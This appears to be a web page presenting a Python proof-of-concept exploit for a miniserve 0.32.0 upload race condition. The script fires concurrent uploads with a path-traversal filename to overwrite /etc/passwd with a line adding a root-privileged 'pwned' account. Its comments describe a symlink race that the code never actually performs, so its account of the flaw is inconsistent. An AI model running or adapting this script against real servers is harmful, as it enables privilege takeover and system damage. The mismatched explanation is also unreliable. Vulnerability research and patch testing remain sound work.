CVE-2025-67124 miniserve 0.32.0 TOCTOU竞态条件导致任意文件覆盖

#!/usr/bin/env python3 """ CVE-2025-67124 PoC - miniserve TOCTOU Race Condition This PoC demonstrates the time-of-check-time-of-use race condition in miniserve 0.32.0 upload finalization that allows arbitrary file overwrite via symlink race. """ import requests import threading import time import os import tempfile TARGET_URL = "http://target:8080" # Replace with target URL UPLOAD_PATH = "/upload" TARGET_FILE = "/etc/passwd" # File to overwrite MALICIOUS_CONTENT = b"pwned:$1$pwned$xyz:0:0:root:/root:/bin/sh\n" def create_symlink_and_race(): """ Create symlink race condition to overwrite arbitrary files. The race involves: check -> symlink swap -> write to symlink target """ # Step 1: Create initial symlink pointing to target file upload_dir_response = requests.get(f"{TARGET_URL}/upload") # Step 2: Prepare malicious file content files = { 'file': ('..%2F..%2F..' + TARGET_FILE.replace('/', '%2F'), MALICIOUS_CONTENT, 'application/octet-stream') } # Step 3: Send upload request with path traversal # The server checks the path, but due to TOCTOU race, we can win the race try: response = requests.post( f"{TARGET_URL}{UPLOAD_PATH}", files=files, timeout=5 ) print(f"Upload response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") def race_uploader(): """ Multi-threaded race condition uploader Creates rapid concurrent uploads to increase race window """ threads = [] for i in range(10): t = threading.Thread(target=create_symlink_and_race) threads.append(t) t.start() time.sleep(0.001) # Minimal delay between requests for t in threads: t.join() if __name__ == "__main__": print(f"[*] CVE-2025-67124 PoC for miniserve TOCTOU race") print(f"[*] Target: {TARGET_URL}") print(f"[*] Attempting to overwrite: {TARGET_FILE}") race_uploader() print("[*] Race condition attack completed")